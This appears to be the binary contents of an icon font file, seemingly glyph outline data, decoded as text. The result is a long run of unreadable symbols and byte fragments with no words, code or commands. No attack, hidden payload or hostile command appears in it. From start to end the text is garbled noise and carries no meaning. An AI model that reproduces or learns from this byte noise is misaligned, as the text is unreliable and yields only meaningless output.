77''5#2"&4܏q)}}}Տq)++U}}}ZR$64&""&4653#5!#35DDaDDnXX|VVlUUUUUDaDDaD X|VV|X@UUUUU++/6264&"2"&4"32653#"&5547632#4'&'&eeeS}}}((&(*&!& Ueee}}}:: 0*)  @+8Lg%#&'&&54622654&#"'&5476632"&54&"'3262#"'&5432"'&'&5462"54&""5476762'&'&&%"'&#"&547632>.!&6'&[@.L W4Ig'6&&(* =7)  (3 9GdG:R:   02x21*.l.-,;N,1 1,N> @%!%#!"&5463!2#5Vj,++ $(83'7'3772#5!!#3#535#"&54635#72##"&55463A5455A*+++kk k @&>''>&@Ukk++**+ e,%##"''76323546232'&546254&" j Iq+8P8* , q  j24(88(5Pk+-5%3#"&5467326'4633"'32#5#"&54462",>$,>2#&!6*$282@*k$$#2>,$>,!& '*)Iuj$$+k %'73#55#5@UUUUUU@*V@UU@*@+#'%5!2#!"&5463353353#5##5##5*++++*++UV+**********++%66737&&'5'&&4670I@hPI0Ph2NN2QooQlH0Pi0HAhPVlVAzz++ %6737&'5'&&467 iO( OiQooQ Ml lM("("zz @U #'+!!53!5353#53#53#53#53753#53#53@ի++*++kjkVU++++++++++++++V******@U !!5!5!%5!@Vj@@@+++k/$264&"''53&#"32672"&5465#"&4633'#534_,, == '(88P8-7!(87(*M^V ,, %, 8P88(!.8P8*+VU27!4''7"&'&54677&ZZ&22G:G2y7&^]&H2FG22GFy+*+3;CK%&##"'&'&667667676363226462"&462"&462"462"r     'SS'  !   ",,,,,,,, * ** (  (Q, ,u,, ,, 6, ,+U%##5#5462&462"U@@*&4&$$Vjj&&&$$@'64''64'2!546462">>#,,# $luV2F22FA>"30%#X $-/&++&F22F2 @@ #'+/3#54&##5325335335353#535353'53533#+&jj,?+*++*++++++++*++++Ujj&+?++++++U++++U++++V**V++*+U"'%'5'#56776332'532"&4#'@@ 8L Q""`6+K @@@ .!{L1 k""6J 4##"'"&547'"'"&46327&5462627&5462L"7 a"a"6L"f"L7a"a6K@@%'5#7&&267653"'&476627 J[Ց;,{,$>2?++88888OBO:UZ-7j-<,+=2=$+=O78878!!<++ %7'5#&2"&4Z` C}}}:o}}},##"''6363254623546235462354623#$ \#24  ˶  v @@(%27#"&'#53&47#536632&#"3#3#@3'&6J>cKAAKc>L&'3#H{{Hu"&1H8++8H&",++,7K%4&##3533#'326'672654'#3#"&546327&#"2##'#"&54633 a)$FB*  .9d? ''),>>WK* Q2(FBB6 2"(s:.% ((?X>@@@-62"&47'!23'#'#"&547'#"&5477''7"" L l+2L= /^""  ++#=  5c^U+&%264&#"'3'6632#"'##!"&5463,??,: U"',,'% 5L?X>1U"+>, #UV 2'35#'35#'3'5#'#'i~)++++ezU+++)~+k++FzUj+k@3!537377'7''!##"&KJJj.-------S++.----...@+"&462#5##&'72"" 2N+*+N2 N""+뀀+++6264&"2"&4%'7eeeS}}}7jLUeee}}}kLk@ 3!537335!##"&KJJj+++ '77'ZZZZxZZZYx@!!@+@k7!!k+++ 77#53&2"&4hHjJM}}}UІ}}}++ 7535#57#376"&462UUKUUKJ}}}5+5K5+5K-}}}U+&.%2#5#"&77#'76332"&463"2656462"k*k '/) o $?X??,&&4&@$$uk)W! &(NK,>>X?+&4&&$$+%!2#!"&5463353353V**@U++++@k !!!!!!@+*k+*Kk 77'32#Kgg ]] kk@%3'33'!##"&5!5373+*UU*VJjVVU@++*+ %/%267&#"'47&#""264"264'2#"&465W4A((D:&**_""vX}}XY}}U=0WX#&8 **""}}}}@[ ###5'7'@+*+kk*//@ P(e,j,e@[ 7'33373'7#'##7@+*+XP(e,j,e[@ ek*//7@ %#7'77'77'7''70Z#8/*_K/@8h/L ^I@ ''7'7''''8h/L ^9Z$80)^ L. @[ 7'33377575'5@+*+kk*//[@ P(e,j,ek@ %5!5!5'3'7#'##7@ P(e,j,e@+*+kk*//+U-5L$264&"264&"73'7##"&55###"&5'76332"26472#5#3'#57"&55463          &+k+*&&    t@@Xu  uXk  &+k,&&UU55!5VUU@UU@** 5#5463636'!"&554633'7,WVV,:,,*+,,:+@!2#!"&554633546332!5'5#VVVV++++++Uk'/$2"&462"&46"&462&2"&42"&4"&462/""""<""""""V""""""D""<""f""""@k !!5!5!@*V++@k737'#!7'!2KKJk`` ]] kkk@k 3#3#5353'53ի**V++**U++@+1'64''64'''!54632'#"&547''32>>#,,# $e?u6  \#2 8Y#2A>"30%#X $-V? ++&/ \ 2#8iY2#@ 75!%!!5!**+++@+#%4654&"34625#25#"&4 @3F2+"++6k^M Kj8#33#!K++5jKI%@jU+!!5!!%'3537##5UVVUU@*jUU@*+k+VV@@UU@@UU&5463!2##"&55&[ * { + x  U+ 3'35#7%!!!!@UU@@UUVV@UUUU**+@7'#57%'7627+*V+xxPx'P')P)++xxPx (P'g)P)@@  04%'7#5#35'54&##"33265#32#!"&54633#00%& &f 5 5 u@ j @@0000V V `*@@@%7GK%3#754&##"3326'#335326554&###54&##"3533532#!"&54633#K  6 6 @ v* J+ `   kU U t ` 5 k k`@@`K*U@@@ -=%3#7#33'#335326554&###54&##"3533532#!"&5463K @ j@ `* J+ `   ` ` 5 k k`@@`K*@@*<L%3#526554&##3#"35#5'#335326554&###54&##"3533532#!"&5463K K@+ `@K@ v* J+ `    5 K ` 5 k k`@@`K*@@'9I%3#754&##3#3#326'#335326554&###54&##"3533532#!"&5463K  K@++@K @ v* J+ `   kU  t ` 5 k k`@@`K*@@#5E%3#75#5##5#335'#335326554&###54&##"3533532#!"&5463K * @ @ v* J+ `   v @@@` ` ` 5 k k`@@`K*@@'9I%3#75#3#326554&##5'#335326554&###54&##"3533532#!"&5463K `@@K +K@ v* J+ `   K  ` 5 k k`@@`K*@@);KO%3#'326554&##535#"'#335326554&###54&##"3533532#!"&54633#K 66 +@K 7@ v* J+ `   V  U ` 5 k k`@@`K* @@ 0@%3#'76&##3'#335326554&###54&##"3533532#!"&5463K  K8F@ v* J+ `   Vd  ` ` 5 k k`@@`K*@@ !-?O%3#'5353354&##"3326'#335326554&###54&##"3533532#!"&5463K + 6 6 @ v* J+ `   5 U U t ` 5 k k`@@`K*@@!'+?O%3#54&##3532654&##"35335333553326554&##"3372#!"&5463K @ J * `  K K @K 6 +U 5 -k k`@@` `6 * U *@@  %'7#5#35#5#32#!"&5463u00%% %p@ @@0000 `*@@ ,%5#5##3353'7#5#355#32#!"&5463  [&00&% @@   5@@0000 `*@@(4FVZ%3#'26554&##3#"35#554&##"33265326554&###54&##"3533532#!"&54633#K v J@+ `@ 5 5 ** J+ `    5  U U 5 k k`@@`K*U@@@ *<L%3#'33526554&##3#"35#55326554&###54&##"3533532#!"&5463K K@+ `@* J+ `   `K  5  5 k k`@@`K*@@-9K[%3#726554&##3#"35#5#26554&##3#"35#55326554&###54&##"3533532#!"&5463K  K@* `@` J@+ `@* J+ `    5   5  5 k k`@@`K*@@*6HX%3#754&##3#3#326'26554&##3#"35#55326554&###54&##"3533532#!"&5463K * K@**@K J@+ `@* J+ `   kU  )  5  5 k k`@@`K*@@&2DT%3#75#5##5#335'26554&##3#"35#55326554&###54&##"3533532#!"&5463K @ @ J@+ `@* J+ `   v @@@`   5  5 k k`@@`K*@@ /%'7#5#35'26554&##3#"35#572#!"&546300%& & J@+ `@@@00005  5 *@@ +;%5#5##3353'7#5#35'54&##3#"35#532672#!"&5463  [%00%% @ J@+ `@*   5@@000  5  *@@$6F%3#'26554&##3#"35#55326554&###54&##"3533532#!"&5463K + K@* `@V* J+ `    5  5 k k`@@`K*@@ ,%'7#5#35'54&##3#3#32672#!"&546300%& &p J@++@J @@0000V  *@@ (8%5#5##335'7#5#35'54&##3#3#32672#!"&5463  600%% %e J@++@J   5@@0000V  *@@!3C%3#'54&##3#3#3265326554&###54&##"3533532#!"&5463K  K@**@K * J+ `   kU  5 k k`@@`K*@@ $4%5#5##335'7#5#35'5#5##5#33572#!"&5463  600%% %P @   5@@0000 @@@` *@@/?%3#5326554&##75#5##5#33554&##"3533532#!"&5463K * J @ + `   @ 5 @@@` k k`@@`K*@@ ,%'7#5#35'5#3#326554&##572#!"&546300%& &p`@@J *@@0000` K *@@ (8%5#5##335'7#5#35'5#3#326554&##5%2#!"&5463  600%% %e`@@J *   5@@0000` K *@@!3C%3#'5#3#326554&##55326554&###54&##"3533532#!"&5463K `@@K +V* J+ `   K  5 k k`@@`K*@@ .2%'7#5#35'5#"3326554&##572#!"&54633#00%& &pK 5 *@ @@0000` V * @@ *:>%5#5##335'7#5#35'5#"3326554&##5%2#!"&54633#  600%% %eK 5 *    5@@0000` V * @@#5EI%3#5326554&##'326554&##535#"54&##"3533532#!"&54633#K * J@5 +@J  `   @ 5  U k k`@@`K* @@ #%'7#5#35#76&##32#!"&546300%& & J8@@0000d  `*@@ /%5#5##335'7#5#35#76&##32#!"&5463  600%% % J8  5@@0000d  `*@@ *:%3#'76&##35326554&###54&##"3533532#!"&5463K 6 K8[* J+ `   Vd  ` 5 k k`@@`K*@@ *.2%'7#5#35'54&##"332672#!"&54633#3#00%& &p 5 5 @ @@0000V V *  @@ &6:>%5#5##335'7#5#35'54&##"332672#!"&54633#3#  600%% %e 5 5    5@@0000V V *  @@1AEI%3#'54&##"33265326554&###54&##"3533532#!"&54633#3#K  5 5 * J+ `   kU U 5 k k`@@`K*K  @@ .2%'7#5#35'54&##"33#32672#!"&54633#00%& &p 5 +@J @ @@0000V  * @@ *:>%5#5##335'7#5#35'54&##"33#32672#!"&54633#  600%% %e 5 +@J    5@@0000V  * @@#5EI%3#'54&##"33#3265326554&###54&##"3533532#!"&54633#K  5 *@K * J+ `   kU  5 k k`@@`K*K +@#5#353#5#5##53353Օ++U+@@@@@@+@"&*%53#!"&5463!!3##5#53533#73#'3#+V@@+@@+++V**++kjj*++@@+@@UU@@ .##5#53532#"&5463327632@+@@++ K /S&/$+@@+@@ K Ֆ )" /&S/ @ %#5#53533&&557&#"*@@*@Rn 5KU??+@@+7YVVK5+@@)%3#!"&5532675!326572#!"&55463@&4&UU&4&U@@&&UU&&U+74&"6232!54633'45!@&4&X?kkV&&j>,,++ %6''&72"&455##543  nĉĉJJV*  ĉ75KJ5@U %7'72"&4LTTLaŠŠ"4Š@ 2'4634&##46332@*@@V$L3#53#264&"264&"'3&5#264&"##"&55###"&55&554632366@++++X??X>'->WJ5   XSG++kU>X??Xm+?mX=5VB&  &3#&++ $!#!"&55%54&##"#5733#!"&55UV*@ ++j+U@@ +**+++!%5'54&'54&"265#2"&4k!  !]@8}}}8#4 4#86 M}}}@U/?C#5#353##"&5546332#5#353##"&554633272#!"&5463!! ++ @ @ ++ @ @ 5@ @  V  @  V  @,2#4&#2#4&#2#!2###5#"&5463UGdR:,?-+kkkUdF:Q!>,-"+++@@ %'7''7#'57kPPPPPPPPppppPPPPPPPP+pppp@@ %3##5#535!3#3#'3#@@+@@뫫իի@+@@+@%73'#3#535#"&55'77##'3!'!2@**Ce-+@+k+**+Dd+*+U '7#53'5!2#!"&54633UU"XX!V+@VU"+"+@U773%7'#56762UĹ V " UVV+ " W +U 77'#55!2#!"&54633UU"*"V+VV"YY"L+++%55#3572#"&5463k@[T{|Y+++Z{|S[7:p'7'6672725>366?2763326327'''"""####"&54754765776674677667265667'o@o   X}J;  X}<    o@o}@J`<}X   ;kU 7'77!!b*8**ֺb(7+++@ 7#7#77#77#77!#7#3#73##rmUcUl97*2 2+78++V**++U**+`77`@@ %5#'3#5#'3#5#'3#5#'3#U+U+UU+U+kUUUUUUUUU+'73##5##5#54763276553"&462U@@@,'+*+ *--;-!*""/E ހ* ?'%/ U""U@#5##kk+!5#33#535#535+*+UՀ+Uk@*+@'32%'!"&5547'@ k* "UB+ "++!!"&57''72#!"&5463U+ߋm,*+n,+@ 3#"&54633'7#53'Ukjj77+*+*kk7*8@@ 3#'3#'3#73#'3#73#!!!@++U**V++++++V**+*****+++++*U+@#5'72#!"&554637#'"&554778z$GG$G@IQQ @ %'7%!!535!kkLkkM+j**k++@@!1535326554&##'"353353354H#!"&5463K * J    @ 6 k`@@`k *U$%#2##"&5463#"&533'"675+2>44@+*U#B 00@@ 3#'3#73#!!!@++++V**+k+++++*U'")6&&'&'&554767662'"6&267'%5&233276 P\\P   ii U46S#P5NuL52J r 1??1  r  8EE8[C((C'((C`__`'' )7267"6&&&'&'&554767662wPFPU46 P\\P   ii ''(CC((Ce r 1??1  r  8EE8#3''##5#535'7'#546#'$462"s5>+@@UU6 4`2F22F+s5@@+>UBU+'k~."F33F2'%##"&5546327667'7''67'&765463326(4 ($ /4 /  K . K  /x/ $( ~@@'&76546332#"&554632766s/  K Ֆ ($ /]/ $( K  /0@+&%7###'732655"&553546333532+UU@7'"UU"kk@*UU"'7@UU@"@kk@#73'#'#5#5467'#'5!"264'32j>@U$i@  %kjB@U%kU>  %%-4P3#53#3376654&'"264&"'3&547##!57"&55463326632@++++&5>, +""UK5, ,XS >=Y++kQ>%+?   ; ""|&/ 5W7, ,3"Y++54&##754''332776&2"&4 b b w-ذ}}} H j li}}}<'7'7%7''77''NN 8ji9wYwwkNN;h9wY>ww%''7'&&55'7`uI4CRn+4v(`4V=I9Y+4v(!%#55!5#'37'!3%2#!"&5463kUU*UU*+@UU@@UU@(%5#3#55!5#'37'!3%2#!"&5463+ vUU*UU*+U+@UU@@UU@++$452"&5#22"&4K5UU#22F2+Kj}}}jK@UV@2F22#5KU}}}@$2####5#"&5463!2#5!!5#'7kk+UU+k++@@k@UV@@@%/?%53##5#3326554&##53354&##"337326554H#!"&54635++ @ 5+ @ 6JV *@@    K V *@ &&55nRRnVYY !%355'72#!"&5463<C,v,J, ,ooC,v, , ,vooo+U(%"&54777#!"'&54632&#"!654' y   }YC($(Fe( x D;//;X}dG.''.)$U 3#3#73#3#3#3#@@@@j@@@@@@@@@@+V@U++!)19462"&&'7'66?'''73462"&462"$462"$$BzCCr^^rUT$$$$=$$$$CBBr^^W$$$$$$+,7#7&&"#5662##"''7633546232(j,RhR,j(]p] j Ia(j,,j(""p  i  0 ++(%54&""26472#!"&5463!!"&5XPX4&&4&@V+ $$ &4&&4PU*+UU%5#7#3##5##5#535#53533533+VVVV*V*VVVV*V*VVVVV*VVVV*V*VVVV++ !-%"&554633'&'&77#"&554776332754##32 * v9  vX7v c  9W~+U !-2##5%32##"&554773375#"&7U * v9  vX7v@ c  9W~+k6264&"%2##"&463{4&&4&,>>,,>>,&4&&4?X??X?+k$264&"72##"&463Q4&&4&@,>>,,>>,&4&&4?X??X?+k3;6"26472"&547'#'#"&54>7'#5373'#537#>"264""++>, ;@*+   N-HA*=>- """"9+>,,! b$,  !-% ""U+77'#55#5##!"&5463UU"*"kUU"XX!MkV++#'+/B%5353#!#"&553332#5#'##546375'7'5'7''&5547762k@* J *@J *@@* VVUUUVVuuu+*@J  J@ J@**@J 1b1%1221b1;  D D  D@U 3#73#73#3#3#@@@@@V@@@@@@@+VUk@V+U 75#7##5#5'#'++*@@5uVVր@@v+U 773#!!%#662'7L-r**VSG^G --W-@V.==D--@!#535#535#5'5#&'#5##5****+".'kUkU++*'a嫫+ $264&#"72#"&'57'5'5)X??,+?j>XY=3O 50@@?X?>,,XzY=0B++E +U@n7#7#"7667332K3IK@Y+ %'35335#72##"&5557'5`K+@+UUV@@kKK+++@$2"&42"&42"&4]F22F2NF22F2NF22F23F22F2F33F3F22FU+!/"&554633#54"2655!#5#7#!"&5463U2F2*"Uk+k#22#! kV*jV+@'/$2"&46"2642"&46"2642"&46"264]F22F2f""F22F2f""F22F2f""3F22F""2F33F""3F22F""+U '!5#"&553%3##53%#54633#%32#5#@*V*@@*@@@*@U+++++++++++@K $77'373'264&"'5'#"&462.88..'P88P8j j&4:QQtP 5 66 5!A8P88P8j j!PtQQ:5%@#,6N7!5#"'#"'#"'##'3277#32655#7326''73276'7#!"&55'&77663!2k+   *I * `  T)   )(kM gc  d``d  `g   ##^@k 3#%3#3#++++U+@ %3#"&55%5#72##"&554633#"&55UU+VVk++@(%27#"&'#73&47#736632&#"3#3#@3'&6J>c`AVKc>L&'3#H{Hu"&1H8++8H&",++,@U 3'35#7@UU@@UUkUUUU@%6462"7'654."327&&557&4&&4)>-$,, B4IRn4&&4&ՀLB> --$,C=YV+U 7'!!5!5!UU@UU@UV@+@UV@+5 'D%2&#"56'632&#"7"5632&5&#"6322#"'&#"&#""#"&56326u"<$&&*6"<$`<$(8-!*A44A''L*)=A4+J60+KJ++ $( N#!   9 U@%5#'#353#'##&54623kkk*"++*UF  U@)7!!5#72####"&553332554''5UVV+++2##3V' U 'k+@@k@@#33#3[ [3&+GOn%6&'&#"26'''7'&73##"'#"'&7&&7663276323536264&"7#"''#"&77'&763376232   "  s2D& "  " "# $  #w  i   .  C2 ] '(  $#0 +   !    U+'#5##&&53332&462"S_T+*+/<+>,7f$$S`UO2,>.$$ ?+ ,:BJNVZ73277'7"76'&'"'&477'&4626"&463253#462"&462"7'5#53#'3#kG., , U@}@@k`o(,,, , `*`~ZV**V* +@ #+/H73#53#3#3#75###353264&"264&"73'7##"&55###"5'76332k****j++j**kjb        k++*V*Ukkk    s@@Xv  vX@@ *73#53#53#%3##5#53553#!"&54633#@@*@@*+k+k+@*@@*@*U '62!5467"'654&'632&462"#54@L??   #222F22F5RV*@@*'!/03F22F33F2+ @@1++ 264&"267#6"264&2"&4>OH: -}}}/&&}}}@@ )5#65#%23#535&&'&&55463353****6( -VV- (6*URR-m(<$B++B$<(++^+ /7''35#5#2##"'#"&554'&76676 '##' VVV+>W 2 ?A, &##&8@*UW>A 11 8T,B,, #+1773&&'6673&&&'375'&&'6673#5#67667,M3g(g(3M V3M V,M3g((%L#2, 7C-17R#L%*#L%%L#2, 77 ,2++ 462"7'"''&47762@,>++>:[K<=l>++>,Z==3k3$264&"&264&"5#5##335#"''#"&5465766332b    @+++ !00.0 0  4  "****l%00*+?? '67'7'66.s#; xxbhYh~s#; Ms :xxYhYhs :k+ %-5753#"#54&#462"462"&462"6"264"&462+*+    b  `X??X?-|WW|Wk**       k?X??XW|WW|+U!(%3'"''&&''3667732#5#7#54633#"Ud WH1 %HG *" d@ *CV B6oU @V)J) V Vk@'5#62##"''&5546332453##"&@  +@@@ ;UU{@ @@ +U##"&554732654''676##67eK..f6IHp)wLp.3+'YIF.226!%676'667677#"'&&676632ZA#MirA:@Mi'.*s8D'.*s8DAjM#Aj S@#f.*'f.*'++ !)19%654&5''7'7'#2'7''75377&&'&2"&4*9MMe m8O7 U*U 7}}}0? ]-V66Vb  >] A* ;; *2}}}+56462"264&"&254"73#""#"&5547#"&46326$$4&&4&VV >) 5K'$$&4&&4Z 5V (8K5  ,%++ '57#"'&'7567&54ԿJlB@m,A@@!kBnMin'X+n!c%%m%*'+-j':$2"&546"32764'&>&6#*'7>4454676]F22F2g$  2UD 2TDJ /A Z[ /2F32$# " # 2 DU2D}Lw/ ZZ A/v !)&54632'654''7''7&&7>& 7.%%@% $m! %& # "   &q+ o7$b,&U/ # +9T\3"''#5''7'4&&5&776327&&767632723232"##"&#5'#'#567'&'6776&462"!,>.2-+[NG  &  +& -',+ 2$l$$!,,3-n/ZM?G  "JH-dz"+@ (# -T$$UP6677'667&&46!:: ,!"^) D&m0T!+O!"2u 8r?2>++ %5#'#3577#3!535#57U*++**++**V**Հ@@U@@U**+++#+%3#5#"&'33267#'#53632#&&#"3462"U*@kMu,\;.O>*@kMu,\;.O>&4&&4Հ+UaI7I/'+UaI7I/'o4&&4&+@1%7#4&#"632#27'#"&53'32#!"&5463373`5*?,#2*+#2*55*?D''6,> 2#k 3#55,?++ #%''7'7264&"72#"&''7'76&&&&&&&1bDDbDuB^^B73'676&'!!+0 #(+1(VUV+  5,#+A(  ;V+U34&"##5##5#753V"@@jVj@U@+:M8+k!5##5#!2##'!#'#54635463!2k*k++@@@@k****k@* (72##"&463277#"'654&'&#"4&5467@&&-\!u/^7"!.$!7xV"&4&*S@8-4 1/. V|6^k+  (N6'&73#6'&73#6'&73"264"&'##"'&5477&&5!'"'366323KJ     U(0*3$ *l &&k%%%  I"  I-(P!A&4&Uk %!5'355###'##'#54635463322@j@@@k@@@@@+k****k@@UU73'!"&57777{{22**)*{2+2**)*Uk #7'3#7'kk`kkjj`jj++ "'664&'627&&46%&4+<*>>.88.>>.8&&'33'33'&.[99ThT99TF77 DTD DTD 7?+:gt&&66667662632'#'"&'.'#7&'&&67&477&546267&67654'&'&7&'"'6267'#"'R 5 3&      '   (  #  +>+   , 2 * X (   4   ' <   @..@   < H**G %!  !DD=k (6%#'&6332#'&77666##"''&7762'6762#"&L F ~&- " " ,& '   xW   W  &   +@%5#2#!"&55&5463+V#2**2#UU2#11#2k+$,B264&"73##5##"&46323'#264&"264&"72##"55###"55763  R+n-&&#[#   #  +***&4&Vj jU+'+3;7!##5###"55###"556746576673323'264&"264&"UV*"    *@@HfV VV4+@',048<@75#535#535#533#'#26326632!675#675#7#3'3535!!U+ @ 1D9F++++UU* +D1+@++@+6%254''33537###5#"&554775&&76676#4&"2  !6!!.+   @@ 9 "! ? )&  U@ 73##"&53#'#5#4633 V ++@k?, k@@@,?@@+04D%5#535'&&55#735##"&5547765546332%35533#535&&++M @ *U++U++!!$.a  [ [@@ D**D &U :@7!#!"&57"#527632327632327632"'&#"#"'&#"#"'&%!&62+G       WV~~+` **   K4LLU 3#"&4632'7#'!3#535kj@&4&& i++*@&&4&n++UU++UB+ ##5#7#7kUTS)UU++#!!!#5&&535%35355#75G99G@j+"k:_%%_:*=/kkkkk++ '4764''7'632'&#"''64''7''7632'&"A""Mw"# "s   lx  ~j""M3#""   lx  *++ (06>264&"264&"'3#"'534&"5#"2646"264265#'53"&  ^  *D1j,@w  ^  a,j@DbDT    `1D >  5U    i 1DD++ 5%5#5#'5#54&"6"26472#!"&554633546332UUU*,(,Nk* @ kk}@@++#5'#5753#?Aj@j++jՆe!U7&&5467662'7&&'"'$C\C#nEEDB%$->>-$%℄+#'%2'53##'632.546323#* <%,@#)**,,***"VV@*9 &)=)(()=)++$%654''654''654'62"&49&&  }}}99:81d2%./($%$ }}}+k1$264&"&2"&4'3#265#%#"&5#54633375#532  4&&4&jj! +``&4&*2#UKK@@  I&4&&4+ Hx&&@#2k]9*++&*75332#!"5543%'&&5533##!"55!35#V` K  *U5 *+++**    21# V* *V+U 37!'7!!V";;" H!;;!N+++#'#'#5'75#'7#53'735'753737YEc+dE*Ed+cEYYEc+dE*Ed+cE*Ed+cEYYEc+dE*Ed+cEYYEc+dEk /3'#264&"'5#264&"'35#%#"&5#"&5#5463@kV(@UN UU+6&4&u&4&+VwVVwV*j&&&&s-2##"&''7264&""&46332'&"27677]`CC0/ <**<G5!D^D*<*>5@@&&6&&7&474367t2>0s1z11 2=??FbQ8D2 11z1s0>2=??F8+@+5#32##5##"&554633573353#!"&553+VVU+U+Vk**@++@*++*UU@@'7264&"264&"&264&"&264&"264&"2#!"&5463RNN@NN.*@%EMU73"&26723264&#"#&&""&#"3263%#"'&'&&'&476676762$462"6462" 4@4!fO  OfO  k"_9G8##66#[##M pQbBDf'<8R " %@k(%3#534&##"332655#3#326554&##535#k*jjjUkkk@j+U*+++++k#"332654&#33#k*+ !%3535'!3353#53'!!5##33535@+Ukk@+@@+@@+kk+UU+@@+@@+U (3##5#5352654&#"733&54>32@@+@@=@>0="@+@@+@P@ jj(@.U %5##335353#%3#3#3#3#+@@+@k++++******@@+@@++VV*V*V5 #/%535#5##3#"''&776332&#"'#3'#'73'@@+@@? 3 d ` Qd2 zb&6 *;@@+@@+@ WWy_ Kg@@ "&*##5#5353!35#"3!2655##3535#5#@*@@*ր*+U+**++*@@*@@*+VVV@@%1?25'667&&5466"326654&&2#"&546"&'46632k +;"  ":$''''   gFFi$D9(&$:"*''''  r    U.:Ey254&##'7'7##3>"326654&&"&54632%34&##"'7&''7&#"''773267'767'7654&'&&'&6676 L C)!!!!  k@ #  "#  "L!! eK1+ &!!!!k    g "#  "# [!!@+8&&'77'37&&5!'3&&'0011350014667>73 *"VU@*UV@   *   @  fUU  UU'.    jj #3%@@!"3!2654&#53#535#53#53*++U****V++*kk@++@+/;%535#56654&&#"#3.'7'32>55'2#"&546k! %/@@@@/% !U#9C!!C9# !+!!+!@@6))6@   ++(7GV"3267676654."&&546737"&&546737#"&&54763274.#6632@+G*$,)6+G*$,)61 )6 !.1 )6 !R11*)6 !1 ,$)G+6),$)G+6)1! 6) @1! 6) G116) 1! '757'7'777''7'++++-6cc6S-5cc5-5cc5S-6cc6+++U-5cc5S-6cc6--6cc6-5cc5k!9"326654&&4632&5"'7##3354&##"332655#&&&&M H5 H**U&&&&UH 5H KUUUU #'3#3#53#53#5#37'&"76437''3#VVVVVVVVV4&%%$VVVVVV^4V:%&%Vk@Ld%'576''&#"&''&##""'&#"323733277261732776'"&546323##"&546332#5#3$%Q  "**     KUU@y (777&'37'4&'5#3266"&54632#;v;#9*@ o/!!/!//!   ++(/2#".54>7"32>54.#5##7#>//>##>//>#,M;!!;M,,M;!!;M,*@UU/>##>//>##>/*!;M,,M;!!;M,,M;!UUUU++(/%".54>322>54.#"3'353'#>//>##>//>#,M;!!;M,,M;!!;M,*@UUU/>##>//>##>/*!;M,,M;!!;M,,M;!UUUU@@!"3!2654&#537#535#53*|@*++*+++:54&#!"3354663'57#"&554632354&#"326655++ ''+kk+kk+U````&&U77'''7777';;;;55vv55v*;;;;@;;;Fvv55vv5@;;;@@ 33#"%#354&32655#@U++!#"353#"353#"3326554&+*U+++*-3#'##!"5!3332>54."&&546632'#7'@KkK+zI,6))61100 M>*k[&0)66)0110k,$(-'7''7'7'7'&"27764'''75555555555511.4.455555555555<12u.4.4'7'&"27764'''7555511.4.4555<12u.4.4++''7'764''&"7''2777'6556-47275P2655O-47274P2517%32636632&&#"&&'&&#">323265jj8?? >  %+**+4k` K   +  @+ (;#'#5766'"32654&!5!72654&#"'4&##3332655##+@:U""XI  ~ @++++U*Tc'*  U *@*U+#!"&546753353335%@V@%+U--**--s+*U++ $!!265'!"3!2654&#53#535!5!+kkjj*+Ujjj+kk+&0:#"3326554&#535#4.5466327!146332'#146332kg***!!k  U  ""@++&32667.6.P<"!;M,(F80O8!;N-,M;!0 (BRX+k #5322655##"&554634&#"326UV**v  VV*  @4IYe73'&&##3001#354667#'&&##3#3#36654&&"&&54677'0632'"326654&&"&54632)SS#1W'TTy X < 2)31 (  մ+ 6%*&O +@*  +&2089U k@"5A7"!4&##53265#"&&5467&54673277'7''4632#"&*V@ %1  (:(  k*  6!1* "V ++'4.#"32>%#".54'632!;M,,M;!!;M,,M;!+>#>/V%+>#>/,M;!!;M,,M;!!;M%/>#>>>+%/>*) 654&#!'3!7'#5**p,y*+9,<+++"32>54."''&'&&77'6,M;!!;M,,M;!!;M=I* 221 I!;M,,M;!!;M,,M;!H122 *I@@+/3!"3!2654&77''7'3###5#53533#535#53*kkp* ++ *kkkk*W ++ **;  +U+235667&&'7&&'66"333534&'66U% % W % %*jj**       =*UU@@@% %B- %27764'7S  $ [ [S $  Z #lZ@#/59!"35!#32654&34&&'234.'234.7557+C@0+)6(F4+$AUJKKuuv@@+*@U*16)V+5E(1U@%*))*(@@@k5#7'32##"&54635@*@vVVk*U%(%'5>'&&'&34632#";26&%7͸ *+   |# &   & ``++"32>54.,N:!!:N,,N:!!:N!:N,,N:!!:N,,N:!@<#54&##"#"!54&&#54&#"#54&#"#54&#"#5466332U*00"*  + +  *11@ @@ @@ @k++ #5775#qGFqqFGqqFGqVqGFq);!2'655##'53354&##"'!"&5445'7''##53'33265I '+ @ 8"+ @ H  '  7#x @ V ++ !"7!2654&'53U+'55jU -<.%7'26654&''7&&#"'7'7&&#7577&--1"9 9 "'&- !! L<K&- .." 9 9" (&.  LL=&-+@ !5#!#535#535#535#53#53#3#3֫+UUUUkU+*++*++*+*+++U#'54&&#"34632#2655#3#3!535#53+ U*V***+@ @VV++@@$,67''&"3767764/70017'77764''&Z"P"X $ ) XePfX ) X(X(&2'P "P"Y ) $ XfPfY ) $ bX(X(2'P(,71764''&"'2777''7#37'7777 $ 7oP7 $ 7Qī7"D  Nkt777 $ 72Q7 $ 7P7"*  k+@^r~%3!366'&'&&>'&&&'&>56&&476676.676>2266.2#!"&5463373"&54632              D''  k                 *++   *.2#"''#"''#"''377'7''7$   GxO_._`$     8G~_-__$-AId'54632554&#"#54&#"4&#"'54632554&#"#54&#"4&#"#.1&#"13327#5    5J5    5xx  '5t  %{  {    5K5t  %{  {    5x[   @U''!"3!2654&!5!b[-K**Z-L +U#'#"3!26554&5#535+VVVj+@U@j!\'&77#376&7'&77#376&';2654&##532654&##532654&##532654&##>1654'0.1N("(E(")%{  {       -" ) -" )       +U"%5#533#"&55463#3#"&55463#3k+**0 0 UkU@; @; +k!!7@bYbb*bUU ##7%3#3#3#3#%'&"3764#57++++++++++   qEq I+~VV*V*V qFq tJ.?EZ`#'&&##3#'35#3#.'&3266736654&&#"&&546632#7#'3"&&54677'0212#53'$77 gk&&)31,Z)31  <A f (VVkd +U++k&10'&10**+ a 99k@+@@'37=&&##"332655!332655"&546323"&54632%7335# ,        VV  U    k``+@++"&6BH4&##3#5#"33266537"&53'3#"326654&&"&5463235#@@KKU&*`` + 3jj*  VV+8]k'@y  +kU   k+@+"&2:FL54''&#!"3332673326654&'#5%3#"&546327535#53"&5463235# T   !J4UU@ 7@@k  VV  e!5=U   +*+U+   k+@+(".>JP73546633'&&##3001#&&326'"&54632%"326654&&"&54632#53''(SS#1p(!5  "  VV&+ 6%# UU V@+@@UF%4&##326#32654&'#3335#"'463326654&&##"332##"335#"& ++ ++ ++@@ ""J J ''++ + 8* @U!!   ''+@@),/!"3!2654&2#"&546##5#546332'3'7*  A@`6kk65*@  